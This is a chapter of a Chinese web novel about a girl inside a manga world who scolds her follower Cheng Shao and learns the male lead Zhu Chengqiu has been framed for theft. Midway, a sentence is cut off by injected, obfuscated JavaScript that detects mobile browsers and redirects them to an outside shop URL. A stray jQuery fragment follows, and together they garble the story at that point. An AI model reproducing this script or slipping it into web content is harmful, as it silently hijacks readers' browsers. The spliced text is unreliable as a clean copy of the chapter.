不想面对的终究会到来。隋芯在何家跟何珍致一起看了会儿书、看何珍玹整理了一会儿房间,甚至是小睡了片刻,不得不回到家。
刚在玄关站了没多久,孙姨便满脸一言难尽拦住了隋芯,委婉地告诉她:“程先生回来一直在哭,哭累了睡了一会儿,醒来又哭。小姐要不然出去住一晚上,正好让程先生一个人静静?”
这话让隋芯有些莫名,有些无语,也有些恼怒,“让他静静?这里是隋家,是我的家,不是他的!”
她气鼓鼓地扒下穿了一天的球鞋,想要泄愤般随手扔到一旁,结果还是弯下腰扶正了,并在孙姨收拾时说了“谢谢”。
道完谢,隋芯继续抱怨:“就凭他这个不讲理的性格,我看我今晚真呆在外面,他能一直在那里大哭大闹。”
孙姨不接话,只是劝告:“小姐别生气,总生气对身体不好。”
“这句话我听得耳朵要起茧子了!”
这句话的确没说错,但这里是漫画世界,暴躁只是人物属性,她作为纸片人可不会长出结节。
隋芯说话音量不小,推门声过后,一道身影可怜兮兮地出现在门口,正是哭得眼睑发肿的程韶,小心翼翼偷看她:“是……是小姐回来了吗……?”
“这里是我的家,我不能回吗?”隋芯连拖鞋都没穿,气势汹汹、风风火火跑向自己的卧室。她要洗澡,然后睡一觉,鬼知道明天还有什么桥段面对她。
掠过程韶房间时,她的手被“啪”的一声紧紧抓握住。
“干什么?”隋芯没好气。
程韶怯生生望向少女,下垂的眼角晕开惹人怜爱的红,他也十分上道地用让人垂怜的神情姿态讨好她:“我错了,您原谅我吧。”
隋芯冷笑一声:“我要是不呢。”
程韶眼眶立马开始积蓄泪珠。隋芯一看就觉得头大,扔下一句“别来找我”就要甩开他的手,谁曾想这条着实黏人的狗直接抱住她的胳膊跪下来,喉咙还不断发出呜咽的闷响。
这是要怎样,不是说男儿膝下有黄金吗。对隋芯来说,无论是女性还是男儿都不能随随便便跪谁,顿时瞳孔地震。
“你站起来。”她真的急了,想要把程韶从地上拖起来,这样像什么话,“我没让你跪……我不要你跪!”
程韶哭得梨花带雨,哭泣也无损夺目的风情,只可惜遇上了隋芯这个根本不在意男色与风情的急急国王:“您原谅我,您原谅我!我再也不对那个叫祝成璆的特招生说一句话,我再也不说他的不是!您让我干什么我就干什么。”
他着实害怕了,害怕隋芯不要他,要将他从这里赶出去。他费了那么大的劲儿,那么努力才得以涉足此处,就是做一个玩意儿都心甘情愿。他还没有报恩,他甚至还是个雏,他绝不要被逐出这所他心目中的至高伊甸园。
也许她被说动了。察觉到隋芯不再激烈地抽手,表情也渐渐平静,程韶如获至宝般将她的手臂继续紧搂着。如果可以,他还想在隋芯的手背上印下好多好多个亲吻。
结果,隋芯说:“你根本没有反省吧。你还是发自内心认为祝成璆低于你。”
难道不是吗?没能反应过来,程韶的表情出现了一瞬间的破绽。
他急忙抹去这块破绽:“我没有。我真的没有这么想。”
隋芯毫无慈悲地点出他心里面叫嚣的小九九:“‘我家可是有公司,有工厂的名门望族,他家算什么,一个什么都没有的穷鬼’。你心里是这么想的,我没猜错吧?”
“我没有!我、我怎么可能这样作践您对我的帮助呢?如果不是小时候您给我的那张卡,程家不可能东山再起,我也不可能好端端地站到您面前。”
隋芯垂眸看他:“我没后悔给出那张卡,至少在当时,金钱对我没有什么吸引力。”
她的话让程韶的瞳孔缓慢后缩,给予了他一场濒死体验,“——但我确实有点后悔将那张卡给你了。”
“小、小姐……我……”
“你不该那么口无遮拦的,程韶。在我看来你们两个都只不过是跟班,他还要比你省心有趣一点。你给我带来太多麻烦了。”
程韶紧抓住她的双手脱力般松开,整个人跌坐在地上,双目无神。
“而且,我讨厌别人道德绑架我。你明明知道我不喜欢人跪着,你还要这么做。”
“我不会让父亲赶走你,他很忙,近期应该顾不上这里,只会让我再试试。至于母亲,她恐怕会哄我留下你。你见过那位夫人,对这一点恐怕心知肚明。”
“以你察言观色的本领,怎么可能看不清这一切?你还要踩在我头上,逼迫我按照你的心意纵容你。你所谓的喜欢和忠诚,就是看似顺着我,其实一直利用这些外在因素欺负我。”
程韶猛地抬起头,这一次是真的感觉到了害怕——原来隋芯看得清清楚楚。她绝不是一个报恩的容器、一份畸形爱恋的承载者,她可一点都不糊涂。
“我错了,我真的……真的错了!小姐,隋小姐——我不想离开您。我求求您,求您再给我一次机会吧……!”
“那你去跟祝成璆道歉吧,道完歉反省一下自己,不要总是跟别人起冲突。”隋芯无奈地长叹一口气,身影和程韶记忆里的女孩逐渐重合在了一起,“明明你的很多异常言行我都已经忍下了,我也是会累的。”
撇下哭着说“我一定改”的程韶,隋芯独自进了卧室。洗漱完躺在大床上,她跟系统有一搭没一搭聊起天:“你觉得他会改吗?”
“我没法预测偏离原本人设的角色。”系统是个说着公事公办,其实因为能力欠缺已经狂冒冷汗的职场小油条,“但我可以察看一下他对男主角的好感……哦豁。我第一次看见负这么多的好感。”
隋芯翻了个身:“你之前不是说过,好感跌到零以下会有生命危险吗?”
“可那是男主啊,有男主光环的。这又不是刑侦题材的漫画。”这一点系统还是可以打包票的,毕竟每个系统都是这么培训的,“而且你都训过他了,他难道还能想别的心思吗?”
也是。隋芯又翻了个身,对系统道了句晚安。
接下来的几日,隋芯都没有遇见祝成璆。她没往祝成璆刻意躲着自己的方向去想,她都没有因为那个意外的亲吻回避跟他见面,只以为祝成璆忙着学习所以神龙不见尾,直到新事件发生。
起初隋芯只觉得时常有“祝成璆xxx”的句式映入耳畔,每当她循声望过去,想要随便抓取一个询问是怎么回事,郑朝盈总是会恰到好处的出声,将她原先思路清晰的脑袋搅得乱七八糟。
当然,隋芯也没往郑朝盈有意瞒着自己的方向去想,她不觉得郑朝盈和祝成璆存在不死不休、需要郑朝盈精心且刻意地去编织困境的关系。
这天吃完午饭,隋芯一如既往蜷缩在沙发上对付了一觉。醒来发现时间还早,下午的课程还没开始,她决定勉为其难上一节,结果被郑朝盈抓住了外套一角。
满脸的欲言又止,一看就是有情况。隋芯立刻反抓住她的手,还以为是她自己、或是她家里出了什么事:“怎么了?”
还不忘询问一直在摸鱼的系统。作为一个相当好脾气的宿主,她从来没让系统疾言厉色地干过什么,甚至除了查找一些数据就没让它干什么,所以它天天在隋芯脑内休息。现在来活了,它一下蹦起来。
郑朝盈作为亲历者先它一步开口:“小芯,有件事我今天中午刚刚知道……是祝同学。他好像对其他同学私底下做了什么,那个同学说是明天要拎着他退学。”
系统还在翻男主的剧情,一边翻找一边纳闷“原著里有这出么”,隋芯就这么对着郑朝盈郑重到刻意的温柔面庞脱口而出:“他能对别人做什么?他不会的。”
郑朝盈瞳孔隐晦地一黯。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17756054|208698||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
……她完全没有犹豫。仿佛对祝成璆的品行了如指掌,坚信不疑。
他们的关系什么时候进展到了可以向彼此交付信任的程度?而且程度是如此的深切,浓烈果断到让她都觉得牙酸。
既酸涩,又嫉妒。
系统亦浏览完了前因后果,语气严峻地告诉隋芯:“祝成璆应该是被谁诬陷偷了贵重物品。原著里没有这个剧情,我没办法从上帝视角告诉你谁是凶手。”
没有这个剧情?隋芯当即反问:“他怎么可能偷别人东西呢?怎么会给他加这么羞辱人的剧情。”
系统解释道:“也不算羞辱人啦……古早少女漫画里不是有这样的设定吗?恃才傲物的天才男主其实有偷窃癖什么的,这种设定也是流行过的,很时髦。”
隋芯没觉得时髦,她觉得这个觊觎他人财富的帽子扣得可大了。祝成璆又是那么有自尊心的人,他能忍受其他人对自己的无端欺凌,因为他知道自己无罪,真正有罪的是这群见风使舵、恃强凌弱的纨绔子弟。
可现在,命运又跟祝成璆开了另外一个玩笑——有人不甘用简单粗暴的方式教训他,还想要玷污他的人格,从根源上毁了他。
下午的课是不能上了,时间就是金钱。隋芯急忙松开郑朝盈的手想要抽身离开:“不行,我要弄清楚发生了什么。”
这明晃晃、赤/裸裸的担忧,让郑朝盈反反复复紧咬后槽牙,好像能够借此隔空咬上隋芯的脖颈后,在她吃痛的惊呼声中埋怨“你非要管这件事吗”“你跟他的交情到了这个地步吗”。
“不,小芯,还是我来吧。”
郑朝盈在几声呼吸之间调整好表情,表情温柔而不乏真挚,“眼下最重要的事情是保住他的学籍,还有解决舆论问题。”
她很得隋芯的信任,在隋芯心目中是个很有傲气、但也很善良的朋友,因而隋芯看着她的眼睛,周身急不可耐的燥气慢慢冷却下来。
对,就是这样,让她继续来宽慰她、安抚她吧。郑朝盈将少女珍惜地捧起来:“同学们似乎都在议论这件事,就算留住了祝同学,也要考虑他留下来之后的处境,不能再重演之前的悲剧了。”
“小芯,你其实只是想要小小地欺负他,并不是真的希望他陷入被所有人敌视的境地,对不对?”
少女怔了怔,眼神明显躲闪了一下。但紧接着,郑朝盈用她带着香气的指腹揉了揉她的眼角,温柔地迫使她重新将目光放在自己的身上。
“你只要在你的游戏场上享受快乐就好,至于这种‘无聊’的事,还是交给我吧。”
“……也不能说是无聊的事……”
“只是一个说法而已。别太在意。”
把事情交给郑朝盈,隋芯当然放心,再没有比她更加稳妥的人了。
怕她不放心,郑朝盈甚至还语气笃定地给予她承诺:“我会告诉你事情的进展,祝成璆究竟干了什么,现在怎么样,我都会向你说明清楚。我会让你看到一个好端端的祝成璆。”
“谁想看到一个好端端的他啊,学校里到处都是人,女学生、男学生一大堆,我看他——看他干什么!”
“……我的意思是,你做事我放心。祝成璆怎么样,我也没有那么关心,只是觉得他要是真的退学了,我的校园生活会少了一大乐子,毕竟他是为数不多敢正面呛我的人。”
呼。终于说出来了。这句话变相地在说“男人,你成功吸引了我的注意”,隋芯一直还挺想说说看的。
也没什么稀奇的嘛。比起这个,她更想快点听到祝成璆没事了的消息。
系统插嘴:“诡秘要是干不好,你最后出场拯救男主,那不是更气派吗?”
隋芯第一时间维护挚友:“朝盈肯定能干好的!只不过可能有些善后工作需要我来做。”
她很快放下心,郑朝盈也在告知她后第一时间前往案件现场。